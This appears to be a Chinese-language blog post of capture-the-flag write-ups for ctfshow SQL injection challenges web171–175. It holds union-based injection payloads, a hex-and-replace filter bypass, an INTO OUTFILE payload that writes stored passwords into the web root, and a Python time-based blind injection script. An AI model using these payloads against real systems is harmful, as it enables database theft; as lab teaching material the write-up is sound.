首页 > 数据库 >ctfshow-web入门-sql注入-SELECT模块

ctfshow-web入门-sql注入-SELECT模块

时间:2023-08-17 17:58:40浏览次数:55  
标签:web nb replace flag ctfshow --+ sql SELECT

title: ctfshow-web入门-sql注入-SELECT模块
date: 2023-08-13 22:06:17
categories: web刷题记录
description: web171~web172

基础知识缺乏的推荐看我的sqli-labs系列

web171

单引号包裹,思路很简单。

先看多少列

1' ORDER BY 3--+ 确定三列

查看回显

1' UNION SELECT 1,2,3--+

查看当前库

1' UNION SELECT 1,2,database()--+

再看看库里有啥表

1' UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema='ctfshow_web'--+

根据题目提示发现username就是flag,直接查

1' UNION SELECT 1,2,password FROM ctfshow_web.ctfshow_user WHERE username='flag'--+

拿到flag。

提醒一点,union联合查询两个句子是并集关系,不用担心互相影响。

web172

和171不同的地方在于对返回值的username字段进行了过滤。直接暴库可以得到全部数据,具体参见我的sqli-labs-1-10总结,这里尝试绕过它的过滤。

1' UNION SELECT id,password FROM ctfshow_web.ctfshow_user2 WHERE username='flag'--+

成功绕过。

1' UNION SELECT 1,(SELECT password FROM ctfshow_web.ctfshow_user2 WHERE username='flag')--+

这样也可。

归根结底就是让结果不包含username==flag。

web173

对所有包含flag的返回值进行了过滤

所以我们直接看所有password就能看到flag

web174

和以前不同的是,不仅仅对flag字段做了过滤,还对数字做了过滤。所以我们要想办法将flag中的数字替换成其他有规律的字符。

说到了替换,引入replace('a1c','1','x')这个函数,代表在a1c中搜索1并将1替换成x。

在引入hex()函数,将参数转化成16进制的值,同时字母都是大写

9999'union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(hex(password),'1','q'),'2','w'),'3','e'),'4','r'),'5','t'),'6','y'),'7','u'),'8','i'),'9','o'),'0','l'),'a' from ctfshow_user4 where username='flag'--+

这样我们就把密码字段先尽兴了16进制编码然后替换了其中的0~9。

接着我们进行解码,先把0-9找回来,python脚本如下

nb='yeuryyueyiyFuuuByreyeoyryqyeeoeewDeweyyqeewDeryqeqewwDyqyyyeyrwDyeyteeyyyqeweieoeeeweyetuD'
#nb表示number
nb=nb.replace('q','1')
nb=nb.replace('w','2')
nb=nb.replace('e','3')
nb=nb.replace('r','4')
nb=nb.replace('t','5')
nb=nb.replace('y','6')
nb=nb.replace('u','7')
nb=nb.replace('i','8')
nb=nb.replace('o','9')
nb=nb.replace('p','0')
print(nb)

将结果进行16进制解码就是答案。

web175

由于过滤了ascii码值从0到127的值,所以我们很难绕过了。于是换个思路,将所有密码写进网站的一个文件试试

' union select 1,2,group_concat(password) from ctfshow_user5 into outfile '/var/www/html/1.txt'--+

然后访问url/1.txt

就可看到密码咯。

或者也可以使用时间盲注脚本

import requests

url = "http://eb0921ff-21eb-40b5-aedd-6f05fd0dd784.challenge.ctf.show/api/v5.php/"
flag = ""
i = 0

while True:
    i = i + 1
    left = 32 #空格
    right = 127 #最后可见字符
    while left < right:
        mid = (left + right) // 2
        payload = f"?id=1' and if(ascii(substr((select group_concat(password) from ctfshow_user5 where username='flag'),{i},1))>{mid},sleep(2),0) -- -"
        try:
            res = requests.get(url=url + payload, timeout=1.5)
            right = mid
        except Exception as e:
            left = mid + 1

    if left != 32:
        flag += chr(left)
        print(flag)
    else:
        break

标签:web,nb,replace,flag,ctfshow,--+,sql,SELECT
From: https://www.cnblogs.com/yoo2i/p/17638342.html

相关文章

  • sqli-labs-BasicLevel-总结
    title:sqli-labsbasicchallengesdate:2023-08-0416:34:03categories:CTF-Web入门description:1~20总结常用的MySql命令总结查库:selectschema_namefrominformation_schema.schemata查表:selecttable_namefrominformation_schema.tableswheretable_schema='s......
  • 记录--webpack和vite原理
    这里给大家分享我在网上总结出来的一些知识,希望对大家有所帮助前言每次用vite创建项目秒建好,前几天用vue-cli创建了一个项目,足足等了我一分钟,那为什么用vite比webpack要快呢,这篇文章带你梳理清楚它们的原理及不同之处!文章有一点长,看完绝对有收获!正文一、webpack基本使......
  • SQL基础知识
     (一)DDL数据定义语言作用:用于检索或修改数据命令:SELECT:用于检索数据INSERT:用于添加数据到数据库UPDATE:用于修改数据库数据DELETE:用于删除数据库数据(二)DML数据操作语言作用:用于定义数据结构,比如:创建、修改或删除数据库对象,包括:用于创建用户和重建数据库对象命令:CR......
  • Native App和web App有什么区别
      NativeApp和webApp有什么区别,请看下图:   NativeApp的优势:1.提供最佳的用户体验,最优质的用户界面,最华丽的交互2.针对不同平台提供不同体验3.可节省带宽成本4.可访问本地资源5.盈利模式明朗NativeApp的劣势:1.移植到不同平台上比较麻烦2.维持多个版本......
  • mac m1 docker安装mysql
    1、拉取镜像dockerpullmysql/mysql-server2、启动服务dockerrun--namemysql-docker--restartalways--privileged=true\-p3306:3306\-eMYSQL_ROOT_PASSWORD="root"\-eTZ="Asia/Shanghai"\-d mysql/mysql-server说明:-d:后台运行容器-p:指定容器暴露......
  • 教你使用常用的逻辑公式和恒等式等价改写SQL
    今天同事给我一条2秒的SQL看看能不能优化。原始SQL:SELECTpk_deptFROMaaaaWHERE1=1AND((pk_group='0001A110000000000JQ6'ANDpk_orgIN('0001A110000000001M09')))AND(PK_DEPTIN(SELECTt1.ORGIDFROMxxxxxt1......
  • mysql数据库DeadLock处理分析
    1.问题复现数据库新建一个test表,里面包含id,和name字段然后分别开两个窗口,分别开启事务,然后updatename字段,不提交,然后查看一下三个表,看是否出现锁表情况innodb_trx        ##当前运行的所有事务innodb_locks     ##当前出现的锁innodb_lock_waits......
  • 常见的Web安全漏洞有哪些,Web安全漏洞常用测试方法介绍
    Web安全漏洞是指在Web应用程序中存在的可能被攻击者利用的漏洞,正确认识和了解这些漏洞对于Web应用程序的开发和测试至关重要。一、常见的Web安全漏洞类型:1、跨站脚本攻击(Cross-SiteScripting,XSS):攻击者通过向Web页面注入恶意脚本来执行恶意操作,例如窃取用户敏感信息......
  • python3 安装clickhouse_sqlalchemy(greenlet) 失败
    环境信息:centos7操作系统,python3.8执行pip3installclickhouse_sqlalchemy或者pip3installgreenlet报以下报错:Command"/opt/python3.6.10-customized/bin/python3.6-u-c"importsetuptools,tokenize;file='/tmp/pip-install-wbyi43ip/greenlet/setup.py';f=g......
  • MYSQL与Hive配置的相关步骤
    1、配置元数据到MYSQL1、新建Hive元数据库登录Mysql:mysql-uroot-p//不加分号创建Hive元数据库:createdatabasemetastore;退出mysql:2、将mysql的jdbc驱动拷贝到hive的lib目录下3、在hive的conf目录下新建hive-site.xml文件vihive-site.xml进入到文件编写模......